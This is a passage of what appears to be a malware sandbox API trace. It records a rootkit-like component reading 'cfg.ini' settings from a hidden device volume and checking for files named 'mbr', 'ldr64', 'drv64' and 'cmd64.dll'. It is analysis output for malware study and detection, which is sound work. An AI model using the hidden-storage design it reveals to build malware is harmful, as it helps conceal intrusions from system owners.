Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.425] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.425] IdePortDispatch () returned 0x103 [0123.425] KeWaitForMutexObject () returned 0x0 [0123.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.425] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.425] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.425] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.425] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.425] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bead50 [0123.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.425] KeLeaveCriticalRegion () [0123.425] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.425] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.425] KeEnterCriticalRegion () [0123.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.425] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.425] KeLeaveCriticalRegion () [0123.425] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.425] KeEnterCriticalRegion () [0123.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.425] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.425] IdePortDispatch () returned 0x103 [0123.425] KeWaitForMutexObject () returned 0x0 [0123.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.425] KeLeaveCriticalRegion () [0123.425] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.426] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.426] KeEnterCriticalRegion () [0123.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.426] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a7000 [0123.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.426] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.426] IdePortDispatch () returned 0x103 [0123.426] KeWaitForMutexObject () returned 0x0 [0123.426] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.426] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.426] IdePortDispatch () returned 0x103 [0123.426] KeWaitForMutexObject () returned 0x0 [0123.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.426] KeLeaveCriticalRegion () [0123.426] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.427] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.427] KeEnterCriticalRegion () [0123.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.427] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.427] KeLeaveCriticalRegion () [0123.427] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.427] KeEnterCriticalRegion () [0123.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.427] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.427] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.427] KeLeaveCriticalRegion () [0123.427] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.427] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.427] KeEnterCriticalRegion () [0123.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.427] ExFreePoolWithTag (P=0xfffffa8003bead50, Tag=0x0) [0123.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.427] KeLeaveCriticalRegion () [0123.427] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.427] ReleaseMutex (hMutex=0xf0) returned 1 [0123.427] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.427] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.427] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.427] KeEnterCriticalRegion () [0123.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.427] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.427] IdePortDispatch () returned 0x103 [0123.427] KeWaitForMutexObject () returned 0x0 [0123.428] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.428] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.428] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.428] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.428] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.428] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003608390 [0123.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.428] KeLeaveCriticalRegion () [0123.428] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.428] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.428] KeEnterCriticalRegion () [0123.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.428] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.428] KeLeaveCriticalRegion () [0123.428] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.428] KeEnterCriticalRegion () [0123.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.428] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.428] IdePortDispatch () returned 0x103 [0123.428] KeWaitForMutexObject () returned 0x0 [0123.428] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.428] KeLeaveCriticalRegion () [0123.428] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.428] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.428] KeEnterCriticalRegion () [0123.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.428] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a8000 [0123.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.429] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.429] IdePortDispatch () returned 0x103 [0123.429] KeWaitForMutexObject () returned 0x0 [0123.429] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.429] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.429] IdePortDispatch () returned 0x103 [0123.429] KeWaitForMutexObject () returned 0x0 [0123.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.429] KeLeaveCriticalRegion () [0123.429] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.429] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.429] KeEnterCriticalRegion () [0123.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.430] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.430] KeLeaveCriticalRegion () [0123.430] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.430] KeEnterCriticalRegion () [0123.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.430] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.430] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb700, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.430] KeLeaveCriticalRegion () [0123.430] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.430] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.430] KeEnterCriticalRegion () [0123.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.430] ExFreePoolWithTag (P=0xfffffa8003608390, Tag=0x0) [0123.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.430] KeLeaveCriticalRegion () [0123.430] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.430] ReleaseMutex (hMutex=0xf0) returned 1 [0123.430] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.430] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.430] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.430] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.430] KeEnterCriticalRegion () [0123.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.430] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.430] IdePortDispatch () returned 0x103 [0123.430] KeWaitForMutexObject () returned 0x0 [0123.430] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.430] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.430] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.430] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.430] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.431] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.431] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.431] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.431] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.431] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.431] KeLeaveCriticalRegion () [0123.431] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.431] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.431] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.431] KeEnterCriticalRegion () [0123.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.431] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.431] IdePortDispatch () returned 0x103 [0123.431] KeWaitForMutexObject () returned 0x0 [0123.431] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.431] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.431] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.431] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.431] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.431] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.431] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.431] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.431] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.431] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.431] KeLeaveCriticalRegion () [0123.431] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.432] ReleaseMutex (hMutex=0x100) returned 1 [0123.432] Sleep (dwMilliseconds=0x2bf20) [0123.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cc5f830, dwHighDateTime=0x1d24fa4)) [0123.438] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.438] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.438] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.438] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.438] KeEnterCriticalRegion () [0123.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.438] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.438] IdePortDispatch () returned 0x103 [0123.438] KeWaitForMutexObject () returned 0x0 [0123.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.438] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.438] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.438] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.438] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.438] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb890 [0123.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.439] KeLeaveCriticalRegion () [0123.439] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.439] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.439] KeEnterCriticalRegion () [0123.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.439] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.439] KeLeaveCriticalRegion () [0123.439] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.439] KeEnterCriticalRegion () [0123.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.439] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.439] IdePortDispatch () returned 0x103 [0123.439] KeWaitForMutexObject () returned 0x0 [0123.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.439] KeLeaveCriticalRegion () [0123.439] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.439] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.439] KeEnterCriticalRegion () [0123.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.439] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ab000 [0123.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.439] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.439] IdePortDispatch () returned 0x103 [0123.439] KeWaitForMutexObject () returned 0x0 [0123.440] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.440] KeInitializeEvent (in: Event=0xfffff880028b25d0, 